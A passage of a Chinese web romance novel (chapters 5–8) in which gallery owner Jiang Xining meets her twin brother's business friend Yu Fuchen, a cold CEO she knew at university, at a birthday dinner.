他哥啊,眼睛不行。
人家是不解风情,他是不见风情。
也难怪这两年爷爷安排的那些个门当户对的貌美世家千金,一个没成过。
“当然是画廊的主理人。”
于付忱插兜站着,不言不语,似乎懒得听他说话。于天文瘪瘪嘴不敢再说什么。
几人站在门口,引了不少吃
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瓜群众围观,不少人目不转睛的盯着于付忱,这男人长得太好看,只是目光和神情都太冷了,如同千年不化的冰山似的,离他十米远,都能被冻的一趔趄。加上几个壮硕如牛的保镖在一旁,大家只敢远远行注目礼,不敢议论。
于是话题便转向了被保镖架着的衣佳惠。
“这女的是晕过去了,还是搞什么行为艺术?”
“看着不像,哪有行为艺术和拖着囚犯一样的。”
“也是,看的我胳肢窝一阵疼。”
“哈哈哈,说的好像拖的人是你似的。”
“我才不会大庭广众被这么拖着呢,丢人死了。”
胳膊被架得生疼的衣佳惠,脸瞬间涨成了猪肝色,都怪江熙宁,让她颜面尽失。
一辆黑色的轿车,缓缓的停在了画廊门口,肖易从副驾驶上下来。
于天文看着眼前十来万的经济适用车,不由瞪圆了眼。他是花了他哥不少钱,但他哥不至于穷到这种程度了吧。到了宁城整这么个小破车。
“哥,这车……”
很不配你诶。
于付忱抬了抬眉,“你的。”
“?”
于天文猛然看见自己那辆超跑的钥匙在肖易的手里。
“哥!”于天文欲哭无泪,他哥这是要没收他的新提的跑车。他还没约到江熙宁去兜过风呢。
“多说一句,”于付忱凉凉的瞥他一眼,“少一个轮子。”
于天文瞬间住嘴,他哥向来说一不二、言出必行、行必有果,但凡认定的事,不达目标不罢休。而且他最讨厌的是示弱撒娇。小时候每次于天文哭哭啼啼,铁定被嫌弃。
这次买画是真触到他哥逆鳞了。
“你刚刚说,是哪一个?我没听清。”于付忱压了压巴问。
于天文摇了摇头,把话悉数吞到肚子里。
他敢说吗他!
让他十一路车回去,这事他哥绝对做的出来。
保镖将衣佳惠塞进车里后,又将于天文请上了车。说是请,不如是是押,根本没有拒绝的余地。
“小于总,去哪?”
“去……”于天文在如何处置衣佳惠上犯了难,他不知道衣佳惠家住哪里,如果是之前,肯定是带回家先安顿一晚,反正客房多的是,但他哥在。
算了,还是别在太岁头上动土了。
于天文思考时,一旁的于付忱突然开口,“送去宁城医院。”
于天文:“???”
于付忱:“你朋友好像喝的很醉。”
男人的话像是带着刀片,刺的衣佳惠后脖颈僵硬发凉,不由自主地泛起了一层冷汗。医院,她才不要去医院,醒酒定会给她输液,就算不扎针,装醉的事情铁定瞒不住了。
计谋先是被江熙宁拆穿,现在又被中途出来的哥哥搅和。衣佳惠现在只能期待,于天文拒绝。
于天文这才想起来,衣佳惠喝了一瓶香槟到现在还没醒,平日里她滴酒不沾是个乖乖女,如果不是因为他的话,也不会喝的那么醉。
多少还是有些愧疚。
眼下让她在医院解酒安置一晚,倒也是一个好办法。
“还是哥你想的周到。”于天文顺带夸了一波彩虹屁。
衣佳惠悬着的心死了。
于付忱颔首,又对车内的于天文说:“顺便看看你的脑子。”
于天文忐忑的心也死了。
5. 第 5 章
回到家收拾完,已经近凌晨时分。
江熙宁躺在床上,困意来袭,但不知怎的,还是没有要睡着的意思,她拿出手机,在搜索框里,输入于付忱三个字,蹦出不少和他有关的词条。
随意点开新一期的财经周刊,于付忱占了一整个版面。
“华盈集团的现任总裁,他虽年轻却展现出非凡的商业洞察力和决策胆识。上任之初,果断砍掉了集团过往的累赘产业,以一种近乎革新的姿态,将目光投向了潜力巨大的银发经济和康养产业……”
“不仅如此,他还大胆布局人工智能技术领域,将华盈集团的未来与前沿科技紧密相连……”
这人工智能技术领域……说的不会是于天文的智颐科技吧。
江熙宁查了公司的注册信息,果然于付忱是全资方。
奇怪的是,搜了一圈,网上都没有于天文和于付忱两兄弟的任何新闻。只有于付忱的各种参会照片、采访照。
镜头下的人冷淡持重,看起来有容人之量,也有摄人之威。
让人一眼难忘。
网上评论里清一水的都是夸赞和溢美之词。
【老天,他可真帅!】
【老公!】
【这样的男人,国家发给谁了?】
隔着屏幕,江熙宁都感觉到他的受欢迎程度。大学里这么低调的一个人,竟然变得高调了。
江熙宁想起那年,学校论坛里评选校草呼声最高的除了李晋许,另一个就是于付忱。
论坛上唯一流传的一张照片,还是他打电话的偷拍照,压根看不清脸。然而,就是这样一张朦胧的侧脸照,呼声极高,甚至一骑绝尘。
如果不是没过多久就被删掉了,校草这头衔还不一定花落李晋许。
据说那照片是于付忱要求删除的。
江熙宁看着这张脸,回忆起了两人最后一次见面。
元旦假期一过,新年的热闹气氛立刻被青城的泼水成冰的冬天冷却了。
江熙宁从包厢出来,在手机上打车,很快有司机接了单。地图显示车离她只有两百米不到,但是在对向车道,需要去前面五百米的红绿灯处掉头再过来接她。
寒风料峭,出门的时候灌了她满怀。江熙宁有迎风泪的毛病,劲风吹的她眼睛有些酸涩、刺痛,很快感觉眼眶里盈了一层水汽。她摸了摸衣服口袋,想起自己的纸巾落在餐厅里了。
想起刚刚堵心肝脾肺肾的散伙饭,又懒得返回去。
第一次见李晋许是在青大篮球校赛上,他的骄傲、自负、逞强,在赛场上让他耀眼的如同那天清朗的好天气。
今日在这样一个人多、密闭的、充满油烟味的包厢,依旧是骄傲、自负、逞强,但让这段有过美好的恋情煞透了风景。
骄傲如李晋许,还是那么在意他的面子,不能接受被甩,于是当众先宣布分手。
事实上分手一事,她在几天前已经提出。江熙宁已经决定回宁城实习,这意味着她毕业之后不会再回青城。
本以为李晋许会理解。因为这是两人在一起之初他便知道的事情,但他不仅变卦,并且希望江熙宁为了两人的未来留在青城。
李晋许口口声声说喜欢她,但他是独子,绝不会为了她离开青城。
分歧产生的时候,吵架自然也多。江熙宁觉得不如快刀斩乱麻,好聚好散。
当然,爱面子的李晋许对众兄弟解释两人分手的原因,也不是江熙宁不愿意为了他留下,而是她性子娇气,无法适应青城,饮食、生活习性等等,他为此尊重她的选择。
公交站台的广告牌挡不住四面八方的寒风,江熙宁目光和一颗心渐渐的冷下来,脸颊冰凉。她摸了一把脸,透明的液体沾了一手。
隔着雾蒙蒙的水汽,一道欣长的身影从夜幕中走出。
江熙宁快速眨了眨眼,视线恢复清晰时对上一双比夜色更浓的眼睛。
于付忱停下脚步居高临下的站着,神情冷淡的看她。
李晋许不常带江熙宁参加兄弟聚餐,偶有几次,于付忱也不在。说起来她对这个前任的室友并不熟悉。没想到这次生日宴他来了,还见证了兄弟的分手戏。
对方似乎没想到会和她遇上,侧过身去,没再看她。
“现在回。”他挂了电话。
看来是家里人催他回家也中途离场了。于付忱和她一样,虽然宿舍留着床位,但大部分时候都回家住。
江熙宁是因为睡眠习惯实在太娇气,这人不知道是为什么。
“男人大多数不喜欢娇气的。”
“?”
江熙宁因这莫名其妙的开场白愣在原地。
片刻后,她反应过来过来自己这会儿在“哭”呢……
以为她是被分手哭来劝慰啊?
……
江熙宁想起每次和李晋许闹别扭,李晋许总说:我兄弟都说你娇气。
这“大多数”里面也包括你吧。
江熙宁无语,吸了吸冻僵的鼻子,“那正好,大多数男人我也不喜欢。”
因为冷,出口的话夹着明显的颤音,听起来更有几分伤心的意味。
沉默两秒。
冷如冰的人,缓缓吐了一句,“如果你真心喜欢,不该恃靓而娇。”
“!”
江熙宁懂了,这是为他的兄弟打抱不平来了。
她内心腾起的一股气,在体内乱窜,内心默默的骂了句,干你屁事。
奈何太过于激动,眼睛一眨,豆大的珠子向外扑簌簌的掉,悉数砸地上。
她拿手擦掉,还是源源不断的涌上来。
似乎是看不下去那些不值钱的眼泪,于付忱从口袋里抽出一包纸巾,递过来。
江熙宁只觉得意气冲上天灵盖,她用食指和中指夹过
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他掌心的纸巾,在刺骨寒风下迎上于付忱的目光。
“但我还是,美的令人发纸。”
“……”
当时抱着这将是两人最后一次对话,即便是有什么也因为之后不会有什么交集而无关紧要的心态,说了这话。
谁能想到,诶嘿,和于付忱又遇上了!
现在想起来,那时逞的那口舌之快,将于付忱递纸的初衷,从安慰变成了来来献殷勤……
他该是讨厌她的才对。
江熙宁把脸闷进被子里,翻了两圈。虽然她不是美不自知的人,从小旁人的夸赞帮她建立了长得还行的认知。
但也绝然不是厚脸皮的人。
当时于付忱是什么反应来着?
那天太黑,她没看清于付忱的表情。他单手插兜,另一只手垂在裤边。
似乎嗤笑了一声。
江熙宁不确定有没有听错,毕竟这么久远的事情,细枝末节忘的差不多了。只记得说完这话,还没来得及后悔逞的口舌之快,网约车停在了站台前。
她飞速的钻进车里,逃之夭夭,生怕他突然来一句:你当自己是人民币了吗谁都喜欢你。
关上车门时,隔着车窗于付忱嘴唇动了动,说什么她没听清。
算了还是不知道的好,肯定不是什么好话!
江熙宁成功的因为一段陈年记忆又失眠了半宿。直到东方翻着鱼肚白,疲惫如同潮水一般淹没了江熙宁,她才沉沉睡去。
窗外的天黑了又亮,亮了又黑,几番交替。梦里的江熙宁在丧尸围城的末日里,也被丧尸从黑夜追到白天,白天追到黑夜。
又累又怕。
江熙宁腿肚子打着颤,又跑了二里地找了一处车站躲着。日有所思,夜有所梦,因为睡前的回忆,梦里的车站和当时她与于付忱对话的车站一摸一样。
甚至连刮来的风都是同样的温度,相同的方向。
就在江熙宁以为甩开丧尸放松警惕时,呼呼的劲风从眼前刮过,一只契而不舍的丧尸穿夜色迅捷而出向她扑来。还来不急思考,她的后背撞上了墙。
四周的寂静被她急促的呼吸声打破,心跳在耳边咚咚作响。恐惧中她下意识紧闭着眼,生怕看见一堆烂肉。
“还我的钱。”丧尸突然开口。
啊?
江熙宁睁开眼,一双幽深的看不见底的瞳孔冷冷的盯着猎物。
这丧尸,怎么长着一张于付忱的脸啊?
不对,应该说是于付忱也变成了丧尸。
变成了丧尸还不忘追债。
江熙宁想说话,但因为呼吸太急促,嗓子怎么都发不出声音。
“不还?”
面前的男人,舔了舔嘴唇,突然烈烈风声和男人凛冽气息铺天盖地窜入她的鼻息。
锋利的獠牙擦着她的脖颈瞬间落下。
“那肉偿。”
6. 第 6 章
江熙宁猛的睁开眼。她第一时间摸了摸自己的脖子,脑袋还好好的长着。
做噩梦了。
俗话说日有所思,也有所梦,待意识回笼,她摸过手机发消息给乔西娅,于天文这单,赶紧退、立马退,早退早安心。
打完字,江熙宁才安心的又睡下。
这下总不会再做噩梦了吧。
江熙宁补眠补了足足两天,睡的天昏地暗,不知晨昏。晚上十点时,悠悠然的睡醒了。她起身冲了个热水澡,出卧室时发现家里多了两个人。
姜明初和江印两人,各自占了左右边的单人位沙发。隔着老远坐着。
姜明初见她醒了,放下手里的《建筑家》杂志,清俊的眉眼浅弯,“醒了,饿不饿?”
睡了这么久,她这会儿肚子里确实有点空空的,点点头,“我哥他——”江熙宁指了指另一边在沙发里呼呼大睡的人,用唇语问。
“我给你煮碗面。”姜明初没接她的问题,只是宠溺的笑了笑,起身去了厨房。
“舍得醒了?”沙发里的江印听见动静,睁开眼。他收起架在沙发扶手上的长腿,眼尾睨了眼去厨房的姜明初。
“哥,你不是应该在学校吗?”
江印在藤校攻读CS硕士,最近都在忙着毕业的事情,每天忙的连睡觉的时间都没有。但他硬是提前一周将这两日的工作赶完,就是为了回来陪江熙宁过生日。
江印食指戳了戳她的脑门,无语道,“忘了今天是什么日子了?小没良心的。”
江熙宁想了一会儿,刚想说生日不是明天,突然意识到自己睡掉了一天。
“你再多睡两个小时,我就白回来了。”
江印傍晚那会儿到的宁城,这一次快闪回国,陪江熙宁吹完凌晨的蜡烛,还得赶一点半的飞机回去。
结果到家,连个开门的人都没有,还得找姜明初来。
“你怎么不叫醒我。”江熙宁亲昵的挽着江印的手臂,弯着唇角,露出一副有被惊喜到的表情。虽然在生日仪式上明显是江印比她要执着多了。
江熙宁对生日可就随意了许多,因为母亲梁媛从不给她过生日,只说把日子过开心了,每一瞬都是时间的馈赠,每一天都可以是灵魂的新生。
“你那起床气,我敢吗?”江印没好气道。江熙宁有严重的起床气,惹她生气,哪次不是哄一个星期起步,清空钱包才哄好。
自从父亲江礼知道他毕业后要来宁城,直接断了他一月的生活费,加上这一趟飞回来,钱包完全经不住折腾。
江熙宁笑的娇气,“能量是守恒的,足以可见这几日你妹妹我牺牲了多少睡眠。”
江印看着妹妹眼下带着两片青,瓷白的脸瘦了一圈,没来由的心疼。自从母亲去世后,她像是一夜之间长大了,回到宁城开办画廊,个中辛苦从来不说。
也学会报喜不报忧了。每次电话里,问起她都是挺好的,放心哥。
“画展还顺利吗?”
“还行,挺顺利的。”江熙宁答。
如果没有于付忱这茬的话就更顺利了。
江印从超大号行李箱里面,拿出精细打包着的油画,“你不是说之后想筹备母亲的纪念展么,家里这些都在这里了。”
江印说的是青城的家。
七岁那年,父母离婚。江印跟着父亲在青城生活,江熙宁跟着母亲回到宁城。
江印拿来的画一共有五副,其中四幅都是母亲梁媛早期的练习作品,技法上不成熟。用来做展,恐怕是不行。
有一副是母亲小有名气后的作品,是江熙宁二十岁时,梁媛送她的礼物。画中从近至远,十三个赤足的少女,沿着皎皎月亮河,迎面走来。
她们身穿白衣,手挑橘色的灯,满脸天真无邪。
十三个女孩其实都是江熙宁,是七岁到二十岁的她。
那时江熙宁在青大就学,住在父亲家里,毕业时这画忘记拿回宁城,留在了父亲家。
幸好当时留在了青城,不然连这一副也被舅妈一家私占着。
“你真打算全卖了?”
“妈妈应该是这么希望的。”江熙宁小心的收起画。
梁媛热爱艺术,尤其喜欢画画,小时候经济条件不允许,外婆不支持。后来因为江礼的一句支持她的梦想,她不顾家里的劝阻远嫁到青城。
可是有了江印和江熙宁后,有些大男子主义的父亲一改承诺,希望梁媛安安份份的做江太太,在家带好兄妹两。梁媛一气之下离了婚,带着江熙宁回到了宁城。
梁媛一次去国外参展时,画廊遭抢劫,她为了保护她的心血不幸被枪击中丢了性命。
那一年,江熙宁刚过二十岁生日。
“就这几幅,够办展了吗?”江印是理工男,一点没继承到梁媛的艺术细胞,对于画展也一窍不通。
拿回舅妈家的那些,够了。想到舅妈一家,江熙宁眉头轻蹙起。母亲在国外抢救无效死亡时,舅舅和舅妈一家不是想着怎么把母亲接回来,而是第一时间拿走了家里所有的画作占有至今。
谈话间,姜明初从厨房里端出香腾腾的面,“宁宁,来吃面。”
“拿完钥匙就可以走了,非要等到现在。姜明初,我妹有我还能饿着?”江印抱胸往沙发里一靠,不满姜明初这送上门的便宜哥哥。
梁媛离婚三年后,遇到了姜明初的父亲,两人几乎要走入婚礼的殿堂时,姜明初却不愿意。
顾及到姜明初的情绪,梁媛和姜海澎便一直维持着恋人的关系,直到她去世也没有名份。
江印因此对姜明初有很深的敌意,当初是他排斥宁宁,不想成为一家人,现在却在这里关怀备至。如果不是不想吵醒补觉的江熙宁,他是绝对不会打电话给姜明初来开门的。
“建议下次不要搞突袭。”
姜明初性格温雅,脾气柔和,但碰上江印,就像温水遇到热油,总能蹦出两个烫热的水星子。
“突袭?”江印本来就是易燃易爆炸的性子,听了这话瞬间不爽,“这叫惊喜懂不懂。”
眼看两人情绪上头,江熙宁双手抱臂,往椅背上一靠,摆出一副看戏的姿态。
两人见她这神情立刻住了嘴。
都不想惹她不高兴,也最怕她不高兴,尤其是江印,本来他就离的远,聚少离多加上平日里姜明初这厮又总在她面前晃荡,俗话说远亲不如近邻,江印深怕他在江熙宁心中的地位下滑。
“怎么不继续了?”江熙宁眨着一双水灵灵的眼睛,看着两人。
姜明初无奈轻笑,揉了揉她的头发,温声道:“太晚了我先走了,明天来家里吃饭,爸爸说要亲自下厨。”
姜海澎虽然没能成为江熙宁法律上的父亲,但一直对她视如己出。
“好。”
姜明初走后,江印看着清淡的面,轻哼一声,“看起来就难吃。”
江印也不全然是因为这面是姜明初做的故意这么说。宁城和青城一南一北,饮食习惯有着不小的差异,宁
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城做面讲究的是一个食材新鲜,汤鲜清口。青城的面喜欢淋上丰富的浇头,浓郁入味。
江印每次都吐槽清汤挂面,味同嚼蜡。
“有的吃就不错了。”
江印不吃,江熙宁用筷子夹起面上的荷包蛋,她实在是太饿了。
刚打算送进嘴里,江印用食指敲了敲桌子。
“江熙宁,今天也是我生日。”
江印和江熙宁是同年同月同日,前后差了十分钟的龙凤胎。
江熙宁以为是提醒自己没给他礼物,解释道:“你的礼物我三天前已经寄去你学校了。”
也不知道他会突然跑回来,毕业在即,能这么折腾的也只有江印了。
“那我也没收到!”
江熙宁被气笑,“那这会儿我上哪给你变礼物去。”
江印把她的筷子一抽,“现在去买。”
“……”
江印坚持生日的仪式感,要去买蛋糕。这个点,除了夜宵餐饮,哪里还会有蛋糕店开门,开车在市中心转了一圈,也没看到有营业的。
江熙宁肚子里空唠唠的,偏头撒娇道:“哥,兴园街新开的一家创意私房菜,我想吃他们家的酒酿圆子。”
江印一听,便知道江熙宁这是懒得折腾了。
换做以往,他一定要说她一番,一年一次的事情怎么能马虎了事。不过这一次,他倒是爽快的应下来。
“行啊。”
江熙宁心中一喜,听见江印又说:“蛋糕我让人送来。”
“谁啊?”
“一个兄弟。”
“你在宁城什么时候还交上兄弟了。”
江印智商140,从小恃才而骄习惯了,眼高于顶,从不屑于在人际关系上费神,能让他称兄道弟的绝对有两把刷子。
这倒是让江熙宁对江印嘴里的兄弟充满了好奇。
“在硅谷ai科技大会上认识的。”江印开车驶入停车位,“他才够格做我兄弟,可不是姜明初比得上的,懂?”
“……”
这个点,江熙宁以为餐厅里应该没什么人,没想到位置都坐满了。
只剩下靠窗的一个二人桌。
坐三个人稍微紧凑了点,但也勉强够。
落座后,江印又谈及毕业的计划,他打算留在宁城加入他这兄弟的公司。
江熙宁了然,江印这次回来,不单单是来陪她过生日的。
“这家公司打算布局AI在康养产业的应用,未来人口老龄化和银发经济兴起,是很大一片蓝海。我呢,可是决定他能否在宁城站稳脚跟的关键。”江印傲娇的说道,“只要我去,随便开条件。”
江熙宁点点头,往嘴里塞了一口小巧的酒酿圆子。
现在满大街都是ai项目。愿景和讲故事谁都会,但笑到最后,除了技术,还需要雄厚的资金加持。毕竟在盈利之前可要烧不少钱。
“这么大方,那这公司应该挺有钱的。”
“公司账上目前没钱,原先的ceo不干正事儿,业务上烧钱也就算了,还拿钱去追妹子,我兄弟正和他清账呢。”
未来产业,初创公司,项目钱烧完了,江熙宁这一圈听下来,隐隐觉得不怎么靠谱。
“所以你这兄弟不是来给你送蛋糕的,是来给你送饼的。”现画热乎的那种。
江熙宁背着大门坐着,完全没注意到身后的来人。
才赶到餐厅的男人,听见这话脚步微顿,眉梢挑了那么一下。
7. 第 7 章
“老于。”江印向来人招了招手。
江熙宁扭头,原地石化。这个世界已经小到如此了……吗?
江印口中那个了不得的牛逼兄弟,竟然是于付忱。
江印:“你来的也太慢了。”
于付忱放下精致的蛋糕盒,目光不动声色的从一张布满震惊的俏脸上飘过,“现烤的蛋饼。”
冷质的嗓音,平静的语气,说着蛋糕是找人现做的事实,但怎么听都觉得带着点儿讥诮的意味。上次是照片,这次是说人画饼,怎么每次遇到这人,总能发生点尴尬的事情……
很快,江熙宁在内心得出一个定论,她和于付忱八字保准犯冲,所以注定两看两相厌。
餐厅的桌子是小圆桌,江熙宁和江印进来时坐了面对面的位置,另一边靠着墙,留个于付忱的只有侧面的位置。他拉开两人旁边的位置坐下,原本就紧凑的位置随着个高腿长的人落坐,变得更紧凑了。
清洌的森林木香瞬间霸占了江熙宁的鼻尖。
他以前不是也背后说她娇气来着。
就当扯平了。
江熙宁默默地在心里对“背后说坏话”这项恩怨冰释前嫌。
“刚还在和我妹妹聊起你呢,我妹江熙宁。”江印一无所知的介绍两人认识,“我好兄弟,于付忱。”
“你好,于总。”江熙宁客套的笑,昨天没打的招呼,今天还是补上了。
于付忱迎上一张未施粉黛的俏脸,江熙宁今日穿着一件粉色的绸缎衬衫,配着同色的休闲长裤,衬的瓷白的肌肤也透着桃色。头发绾在脑后,和昨日的盛装打扮迥然不同。
昨日炽烈的娇艳,今日清丽的娇艳。
“荣幸。”他颔首道。
再无其他话。
比她还客套。
似乎没什么重提旧事的兴趣,昨天见过面的事儿也只字未提。江熙宁猜是因为江印在场的缘故,他才没把于天文在她画廊里的那笔账扯出来。
毕竟,江印说于付忱现在求贤若渴、非他不行。
或许这会儿,乔西娅也联系过于天文退画的事,已经解决妥当了?
想到这,江熙宁拿出手机发消息给乔西娅。
确认下,总是没错的。
“我妹也青大的,你俩还是同一届,没听说过对方?”
江熙宁打字的指尖一顿,江印是哪壶不开提哪壶。
于付忱漫不经心的解开西装的外套的扣子,面色平静,让人看不出情绪。
“不如问问校友。”他说。
???
这话题抛给她是几个意思。
他是对自己在学校里的名望很自信?
还是——
江熙宁内心陡升起一种可能,会不会他其实就是装不认识,在试探她?
这男人的心思深沉,像是一座任氤氲着迷雾的冰山,让人看不清、猜不透。
昨天都装作不认识了,索性装到底。江熙宁思绪微转后找了个妥帖的理由:“可能于总低调吧。”
于付忱听到这话微微皱眉,江熙宁不知道这句捧他的话怎么还能招惹到他。
这时服务员过来给于付忱添水,江印让服务员拿一个打火机来,这个话题才没有继续下去。
江熙宁默默松一口气。
“你这蛋糕太女生了吧。”江印拆开包装盒,发现是FancyCake家的限定款:朱丽叶玫瑰蛋糕。蛋糕是花束造型,柔和的腮红粉和乳白奶油色花瓣栩栩如生,味道是淡淡的清甜奶油香。
艳而不妖、甜而不腻。
江熙宁喜欢吃淡奶油,市面上的蛋糕不是太甜就是太淡,FancyCake家调制的奶油甜度是最适合的,材料用的也好,造型还精美。画廊成立时,江熙宁定过一次,开幕式也经常定。
FancyCake家答谢她这个超级vip,每年她生日会送生日蛋糕上门。
于付忱才来青城,倒也是挺会挑。只是FancyCake家都关门了,他怎么订到的,这家蛋糕不接临时单。
不过江熙宁心中的纳闷只持续了一会儿,对于付忱来说,别说是一个蛋糕,就算十个,应该也不是什么难事。
毕竟人家有钞能力。
“不喜欢自己去买。”于付忱说。
他语气寂然,听着却有一种警告意味:劝你不要骄纵。
于付忱向来不会惯人,不然当初也不会看不下去李晋许处处依着她,给了她一句“太娇气”的评价。
江熙宁不由怀疑他哥说的那句“条件随他开”的真实性。
江印在江熙宁面前失了面子,真的就傲娇的把蛋糕重新装回盒子里,打算不吃了。
于付忱压下眼,靠在椅背上,这两兄妹一样一样的,一个恃才而骄,一个恃靓而娇。
就在江熙宁以为两人可能因此一拍两散时,于付忱又补了句:“我买单。”
这话颇有一种小情侣吵架,哄女友时的宠溺,和刷我的卡、清空你的购物车是一个意思。
江熙宁愣怔,竟然从于付忱嘴里说出来。
这句话效果立竿见影,江印听完立刻眉梢一扬,于付忱想要在国内布局ai,没有他的技术,大抵还要再烧个两年的钱。
江印把蛋糕往江熙宁的面前推,“便宜你了。”
江熙宁:……
我谢谢你。
“我妹和我龙凤胎,今天也是她生日。”江□□情大好的插着蜡烛,“第一个愿望给我最漂亮的妹妹,不管什么愿望,哥帮你实现。”
江熙宁没应声,心愿这么私密的东西怎么能说出来,况且还有外人在场。
她撇了一眼这个外人。
于付忱挺拔的坐在位子里,像是一种刻在骨子里的习惯,一种近乎严苛的纪律之美,规束。难怪老话说,站有站相,坐有坐相,人一旦对自己形体有了规束,气场也拔高了许多。
再配上这张挑不出什么毛病的脸,确实配得上“绝色”的标准。
于付忱注意到她的视线,偏过头,“心愿太多?”
“……”
那倒不是。江熙宁收回目光。
江印见她磨磨蹭蹭,催促道,“三个愿望我再分你一个可以了吧。”
“……”
两个男人的目光此刻都聚拢在她身上,她索性放弃挣扎。
心愿么,有的是。
江熙宁双手合十放在胸前,“希望我哥毕业顺利,争取不延毕。”
江印还没来得及欣慰,后半句话让他迅速撤回一个笑容。他意得志满、无往不利的人生,唯一的污点可能也就是大学延毕。
“当年要不是为了你那个男友,我这智商,至于延毕?”。
对于觊觎江熙宁的所有男人江印都抱有极大的敌意,当初得知江熙宁和李晋
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许在一起时,他翘了教授的课第一时间飞回国,偏偏这教授是出了名的严厉和难搞,江印因为此事吃了个警告。
后来没过多久,江熙宁和李晋许分手,江印正是准备毕业的关键时刻,他怕江熙宁受欺负又立刻定了机票回来。也就是那次,教授不带商量的直接让他延毕。
江印那时只说是和教授毕业论文上有分歧,江熙宁这才知道延毕是因为她。
“你那前男友,脖子上长着的那玩意儿就是个摆设。”
在江印这样的天才眼里,李晋许的智商压根不够看,半瓶水还喜欢晃荡。
“叫什么来着?”江印自顾回忆了一下,他记忆力好过目不忘,没过半秒就想起来,“李晋许,对吧。”
“我妹能答应和他在一起,他特么该烧高香,还有胆子甩了我妹。”
江印不知道于付忱和李晋许在大学的时候是一个寝室的兄弟,当着别人的面前,说别人兄弟的坏话。
江熙宁帮他找补两句,“哥,你滤镜厚了点。”
“那也没你那前任脸皮厚。有老于这张脸在,他竟然有逼脸认下青大校草头衔。”
“……”
可惜江印坐在她对面,不然她铁定手动帮他闭麦,以免日后知道了于付忱和李晋许的关系后,回过头来怪她不提醒。
江熙宁长腿一伸,在桌下踢了他一脚。
服务员新添的茶水热意未消,杯身有着烫手的温度,于付忱捏着杯身的手,不动声色的捻了捻。
突然有什么东西结结实实的撞上了他的小腿。力道不轻,隔着薄薄的布料能清晰的感受到五颗脚趾的轮廓。
不用想也知道是谁的。
这不到五月份的天气,夜里带着料峭的凉意,江熙宁要风度不要温度的配了一双驼毛露趾平底鞋。
江熙宁闷哼蜷缩脚趾,哇,这一脚,应该是踢到江印小腿胫骨了,也太特么痛了,她差点飙出两行眼泪来。
江印吐槽的正上头,越说越起劲,丝毫没受她那一脚的影响,转头问于付忱,“老于,李晋许这人你听过吗?”
于付忱目光飘过眼眶泛红的人,摩挲着杯身的食指改为抓握,着力时手背凸起几道青筋,涌动着力量的暗流。
“嗯。”
眼看话题愈发深入,江熙宁忍着痛说道,“旧人旧事,我都忘了,提它做什么!”
江熙宁又急又痛,也没想到这一嗓音量高了些,不过唬人效果还可以,至少江印没继续往下说了。
话音刚落,她注意到于付忱的目光正定定的看着她,眼神中带着一丝不明的情绪,很快又恢复如常。
江印看到江熙宁绯红的脸,反应过来女孩子面皮薄。
“行行行,我错了。”江印连忙认错,“这不是我妹妹太漂亮,遇到渣男的几率太高了。”
说罢还寻求于付忱的认同,“你说是不是很老于?”
餐厅里飘荡着热络的交谈声,刀叉与瓷盘时不时发出愉悦的嗡鸣,她们这一桌却越聊越尬。
江印刚刚那个话题丢的实在是太差劲。
现在好了气氛尬在这里。
于付忱面无表情的抿了一口杯子里的水,温度冷却到恰恰好。
片刻后。
沉冷的人才缓缓开口。
“美的令人发指。”
!
!!
这不是认得她么!
8. 第 8 章
故意的,绝对是故意的。
江熙宁庆幸自己昨天没和他攀谈青大的过往,于付忱装不认识她,摆明了是不想扯出以前的那点微不足道的交集嘛。
一旁不知情的江印还在哄江熙宁开心,“老于可从没这么夸过女生,你是第一个。”
江熙宁喝着一口水,差点被呛到。
这特么哪里是夸!
分明是校友的事儿被江印提起后,拿这话试探她罢了。
于付忱没反驳江印的话,反倒是偏头看她,似乎挺好奇她接下来会有什么反应。
在试探她嘛,江熙宁了然的放下手里的杯子,“看来于总确实很少夸人,这话听着总感觉像在骂我。”
杯子刚落桌,一旁的服务员热情的走过来添水。江熙宁晚上喝了碗圆子,又喝了一杯水,摄水量已经够了。刚想婉拒,看见服务员的眼神不住的往于付忱身上飘。
服务员来他们桌格外的频繁,几人杯子里的水从没下过三分之一。
于付忱没来之前,冲的是江印,自从他出现后,服务员的注目礼对象就换了目标。
论颜值江印也不差,江熙宁想,可能是输在了这嘴实在太碎吧。
服务员分心没注意到瓶盖没拧紧,瓶口倾斜的一瞬,盖子掉落,水流成水柱。江熙宁杯子里的水顷刻满溢出来。
几乎一瞬,江熙宁的视线里一双骨节分明的手稍抬,手背托低着瓶身迅速回正。
前后不过半秒的时间,于付忱已经收回手。
服务员鼓起勇气:“先生,您衣服湿了,要不您把外套脱下来,我帮您拿去吹干。”
江熙宁注意到于付忱袖口的布料氤湿了一块,因为他穿的是黑色的西装,所以看不出来,服务员这会儿倒是眼尖。
“你应该庆幸,瓶子里不是开水。”于付忱抬眼,他看人的目光本就沉冷,加上他这会儿语气中带着明显的愠色,和他对视的瞬间,女服务员紧张到连道歉都忘了说。
愣怔在原地,一张脸涨的通红。
江印有厌蠢症和厌花痴症,“有需要,我们会叫你。”
服务员走了后,江熙宁想着应该和于付忱道谢,如果不是他及时出手,这会儿湿身的应该是她。
不过道谢不是事情发生的当下,就挺奇怪的。而且于付忱可能压根都不是因为她出手,只是看见服务员工作纰漏顺手纠正而已。
江熙宁抽出两张纸巾递过去。
于付忱目光蔓过来,接过。
“谢谢。”
“客气。”江熙宁灿然一笑,“于总刚才帅的令人发纸。”
空气似有片刻的停滞。
于付忱低不可闻的轻笑了声。江熙宁总觉得这笑,和她回应他的那句“这话听着总感觉像在骂我”没什么区别。她说这话的时候是脱口而出,但也是真心夸他刚才的绅士之举。
有什么好笑的。
虽然也有点子故意。
谁让他装不认识呢。
又扯平了。
江印听了这话拍了拍于付忱的肩,笑道:“可以啊兄弟,你能入我妹的眼。”
江熙宁:“……”
过度解读了哥。
于付忱的神情依旧是淡淡的,看不出因为江印的打趣有什么波动。
小小的插曲过后,蛋糕上的蜡烛燃烧的只剩下一截拇指那么长。
江印提醒江熙宁许第二个愿望,“快,一会儿蜡烛都要燃完了。”
第二个愿望……江熙宁被江印的话扯回思绪。
摇曳的烛光,在她卷翘的睫毛下投射出一片淡淡的扇形阴影。
于付忱看着低头许愿的人眉心一动,恍然间让他想起青大玻璃廊道的尽头的那道身影。那日是周末假期,他为什么会在学校,为什么会去行政楼,具体的都已经忘了,只记得那天气压低沉,闷热难耐。
天气预报说将有一场雷阵雨,暴雨酝酿了一天,却迟迟未落。
廊道尽头的人,仰头看着玻璃外的天出神。阴沉沉的天有什么好看的?
于付忱不是什么爱管闲事的人,抬步离开时,耳边飘来微颤的低语。
她在许愿。
“希望妈妈的个展,尽早和大家见面吧。”
